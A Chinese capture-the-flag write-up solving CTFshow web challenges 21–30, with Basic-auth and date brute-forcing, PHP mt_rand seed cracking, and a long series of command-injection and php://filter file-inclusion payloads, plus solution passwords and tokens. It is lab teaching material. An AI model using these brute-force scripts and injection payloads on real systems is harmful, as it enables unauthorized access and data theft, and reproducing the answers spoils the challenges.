《CTFshow-Web入门》03. Web 21~30
@
ctf - web入门
web21
题解
随便输入用户名:admin,密码:111
抓包看一下。没找到 username 和 password 的字段。but:
Authorization 请求头中,输入的 用户名 / 口令 以 base64 的形式传输。
格式是:用户名:密码
Intruder 爆破设置
选择自定义迭代
拼接语句 1
拼接语句 2
拼接语句 3
添加爆破密码字典
拼接完成后,设置 base64 编码。在 payload processing 进行编码设置。
最后的 URL 编码 不用选择。
最后的密码是 shark63。
下面的代码提供了另一种解题思路
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
# URL换成实际的靶场网址
password = []
# 使用字典
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
原理
- tomcat 认证爆破
- burpsuite 暴力破解(Sniper)之 custom iterator 使用
Payload Sets 中选择类型:custom iterator(自定义迭代器)。
Payload Processing 中进行编码设置:进行base64编码。
取消 Palyload Encoding 编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响 base64 加密的结果。
web22
题解
域名更新后,flag.ctf.show 域名失效
所以这道题没法做了。but 爆破方式没有太大差别。
原理
- 域名也可以爆破
web23
题解
分析代码:变量 token 被 md5 加密,且它的第一位 = 第十四位 = 第十七位,化为整数后(第一位 + 第十四位 + 第十七位)/ 第一位 = 第三十一位,则可获得 flag。
选择 burp 爆破也可以,但可以直接用写脚本跑出需要传递的值
# coding: utf-8
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
for b in dic:
c = (str(a)+str(b)).encode('utf-8') # python3中必须进行utf-8编码
token = hashlib.md5(c).hexdigest()
if token[1:2] == token[14:15] and token[14:15] == token[17:18]:
if (int(token[1:2])+int(token[14:15])+int(token[17:18]))/int(token[1:2]) == int(token[31:32]):
print(c)
传递 token=3j
原理
- MD5 加密:产生出一个 128 位(16 字节)的散列值(hash value),用于确保信息传输完整一致。生成结果是固定的 128 字节,通常用一个 32 位的 16 进制字符串表示。
- PHP:substr()、intval()、以及代码分析
web24
题解
题目已经告诉了我们种子
可以直接写一个 php 脚本来得到随机数
<?php
mt_srand(372619038);
echo mt_rand();
解决
原理
- PHP:伪随机数、mt_srand()、mt_rand()
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。
如果设置了 seed 参数,生成的随机数就是伪随机数,即每次生成的随机数是一样的。
简单来说就是通过这个函数 mt_srand() 来设定一个种子 seed
再通过 mt_rand() 来结合种子按照一定的规则得到一个随机数
这是一个线性的计算,每次请求得到的随机数都是不一样的,但是只要种子一样,得到的随机数都是像一个一次函数一样变化的,就像 y=ax=b,x 就是请求的次数,a 和 b 就是由种子决定
web25
题解
通过分析可以得出如下思路:
种子涉及到flag,不能直接求到
if((!$rand)) 要使这个为真,就要让 $rand=0 ,
而 $rand = intval($r)-intval(mt_rand())
所以要得到随机数才能构造 $r=$mt_rand() 。
所以我们还要求得种子,这就要用到 php_mt_seed 来逆推种子了
先传递 r=0,可得到随机数的相反数,这里随机数为 2140655666。(不同靶场获得的随机数不一样)
下载好工具后拉到 kali 里面,打开文件夹,运行终端,输入 make
输入 ./php_mt_seed 随机数
,开始爆破
因为不知道是第几次得到这个随机数,所以爆破出了很多个
398826382
398826383
966551370
1162957153
1259472860
3045777377
3123628127
这就需要写一个 php 的脚本来测试是哪个种子第一次就得到这个随机数
<?php
$num = 1162957153;
mt_srand($num);
echo mt_rand();
发现种子可能有多个,分别是 1162957153、1259472860、3045777377
接下来就得一个一个试了
对其中一个可能的种子请求两次并求和得到 token 的值
<?php
$num = 3045777377;
mt_srand($num);
$a1 = mt_rand();
$a2 = mt_rand();
$a3 = mt_rand();
echo $a1."<br/>";
echo $a2."<br/>";
echo $a3."<br/>";
echo ($a2 + $a3)."<br/>";
这样需要的值都拿到了,接下来用 burp 改个包提交即可。
最后得到:
r=3045777377
token=3295063840
原理
- 和上题一样是伪随机数的题目。
- 这个题需要使用工具 php_mt_seed 。专门用来跑mt_srand()种子和 mt_rand()随机数。
下载地址:https://www.openwall.com/php_mt_seed/
web26
这题确实是可以爆破出来。不过...
题解
点击“同意协议,开始安装”后,点击下面的按钮,竟然弹出了连接成功。
直接上 burp 获得了 flag。
第二种方法
当然也可以直接用 burp 爆破。
选择字典后就可以开始爆破了。这里用了之前的一个字典。然后密码看了其他师傅的 writeup 后手动添加到字典里的...密码是 7758521
最后通过长度筛选获得请求成功的信息
web27
- burpsuite 暴力破解(Sniper)之 Dates 使用
题解
网页是菜鸡学院教务管理系统
可以下载录取名单,可以查讯学生学籍信息
录取名单里面有学生姓名和部分身份证号,屏蔽的信息是生日年月日。
学生学籍信息查询系统中只需要输入姓名和身份证就可以查询信息。
那就以第一个同学为例。
burp 抓包
爆破模块有一个 Dates 模块,专门用来爆破日期信息,把格式调好,就设定一个范围开始爆破
爆破出来生日为 19900201
burp 获取的结果是 html 编码过的,可以直接在浏览器控制台解析
也可以直接查询
登录
web28
- burpsuite 暴力破解(Cluster bomb)之 Numbers 使用
题解
看 url 会比较奇怪,是 0/1/2.txt。如果修改最后的 2.txt 会被无限重定向,不删除 2.txt 只修改前面的 0 和 1 依旧会被无限重定向。
所以,先去掉 2.txt,对前面两个数字进行爆破。
攻击类型选择 Cluster bomb(集束炸弹)
设置 payload 1
payload 2 同理
爆破成功
web29
题解
preg_match 函数用于执行一个正则表达式匹配。
这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。
方法一:
url + ?c=system('tac fla?.php');
- system() 这个函数是系统调用。类似于在 cmd 窗口中执行,其参数是可执行的命令。
- tac 命令本质上是 cat 命令,但其目的是反向连接文件。
tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。 - 利用Linux系统的通配符
?
绕过 - 所以使用 cat 命令也可以获取 flag,但需要在源码中查看。
方法二:
url + ?c=echo `tac fl''ag.php`;
- 反引号的作用就是将反引号内的 Linux 命令先执行,然后将执行结果赋予变量。
- 由于
''
符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在 linux 中可以使用【'】来绕过,比如fl''ag
就等效于flag
。
方法三:
url + ?c=echo `nl fl?g.php`;
- nl 命令:Linux 中 nl 命令和 cat 命令很像,不过 nl 命令会打上行号
nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号。
注意 nl 指令没有回显,要 echo 出来才有效果
查看源码获得 flag
方法四:
url + ?c=`cp fl?g.php 1.txt`;
复制 flag.php 成为 1.txt 再访问 1.txt 来获得信息
方法五:
嵌套 eval 逃逸参数
url + ?c=eval($_GET[1]);&1=system('tac flag.php');
逃逸出一个 1,flag 在 1 里不会被过滤 。
方法六:
url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos() 函数返回数组中当前元素(指针指向)的值。
scandir() 函数返回指定目录中的文件和数组。
array_reverse() 将数组倒序输出。
next() 将指针指向数组的下一个元素并输出。
show_source() 对文件进行语法高亮显示,是highlight_file()别名。
方法七:
嵌套 include 文件包含,利用伪协议文件包含,再 base64 编码
url + ?c=include $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
base64 解码后获得源码
方法八:
嵌套 require 文件包含
url + ?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
base64 解码后获得源码
方法九:
使用通配符【*】
url + ?c=system('cat fl*');
查看源码获得 flag
原理
- PHP:preg_match() 、eval()、嵌套 eval 逃逸参数、伪协议、文件包含
- Linux 命令:system() 函数、tac 命令、反引号、通配符、nl 命令、cp 命令
- 注意内联命令执行的反引号
- 注意 php 语句的结束符分号
web30
方法都和上一题差不多。掌握原理就轻松很多了。果然上一题学了那么多方法是不亏的啊 o(* ̄3 ̄)o
除此以外附上其他师傅的总结:
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open(); #详细用法百度吧
pcntl_exec(); #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号 #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
题解
方法一:
随便用上一题的一种方法就好了。这里用的是
url + ?c=echo `tac f''lag.ph''p`;
得手
方法二:
源码过滤了 system,可以采用 passthru。
url + ?c=passthru("cat fl*");
当然这类题还有其他很多方法。
善者不辩,辩者不善。
——《道德经》
《CTFshow-Web入门》03. Web 21~30的更多相关文章
- 8、web入门回顾/ Http
1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作 : 启动: %tomcat%/bin/startup.bat 关闭: % ...
- Web入门
目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- python web入门程序
python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...
- Java web 入门知识 及HTTP协议详解
Java web 入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...
- Spring Boot 入门之 Web 篇(二)
原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...
- Python web前端 03 CSS属性
Python web前端 03 CSS属性 一.文字.文本属性 1.文字属性 font-family #字体类型浏览器默认的字体是微软雅黑,字体中有多个字体的时候,如果前面的字体没有就使用后面的字体 ...
- Java Web入门经典扫描版
全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...
随机推荐
- Go开源世界主流成熟ORM框架gorm实践分享
@ 目录 概述 定义 核心功能 声明模型与约定 gorm.Model 字段级权限 时间惯例 嵌入结构 字段标签 使用 安装 数据库链接 连接池 CRUD 接口 创建 查询 高级查询 修改 删除 原始S ...
- Java程序设计复习提纲(上:入门语法)
目录 上: 基本语法与编译运行 数据类型和关键字 常用语法 数组与字符串 异常处理 中: 面向对象和类 下: 图形界面 基本语法与编译运行 java没有指针没有全局变量 Java源代码文件的后缀名是& ...
- flutter 中使用 WebView加载H5页面异常net:ERR_CLEARTEXT_NOT_PERMITTED
最近有个flutter项目中根据搜索结果跳转到相应的H5页面发现老是报错,曾现在闲暇拉出来解决哈 先来看一个搜索功能的测试 已进入详情页面就提示错误,尴尬了. 只有去检测代码了撒 Search.dar ...
- How to use the shell command to get the version of Linux Distributions All In One
How to use the shell command to get the version of Linux Distributions All In One 如何使用 shell 命令获取 Li ...
- Framework 中使用 Toolkit.Mvvm 的生成器功能
.NET Standard是.NET APIs的正式规范,可在多个.NET实现中使用..NET Standard的动机是为了在.NET生态系统中建立更大的统一性..NET 5及更高版本采用了不同的方法 ...
- const 使用
宏定义与const的区别?(概念题是最容易丢分)1. 发生时机不一样: 宏定义发生在预处理时,const关键字发生编译时2. 宏定义仅仅只做了字符串的替换,没有类型检查; const关键字有类型检查, ...
- .NET 8 Preview 5发布,了解一下Webcil 是啥
2023年6月13日 .NET 8 Preview 5,.NET 团队在官方博客发布了系列文章: Announcing .NET 8 Preview 5 ASP.NET Core updates in ...
- C++面试八股文:在C++中,有哪些可执行体?
某日二师兄参加XXX科技公司的C++工程师开发岗位第14面: 面试官:在C++中,有哪些可执行体? 二师兄:可执行体? 面试官:也就是可调用对象. 二师兄:让我想一想.函数.函数指针.类的静态方法.类 ...
- 【HMS Core】Health Kit云测数据接入相关问题
[问题描述1] 1.由于存在IOS.android.微信小程序,计划接入"云侧数据开放服务",使用模式为我们自己的服务端去同步华为健康数据,终端通过服务端获取最新的数据. 2.在 ...
- 前端基于原生input组件的增强简单通用实用输入框
前端基于原生input组件的增强简单通用实用输入框,下载完整代码请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plugin?id=12799 效果图如下: ...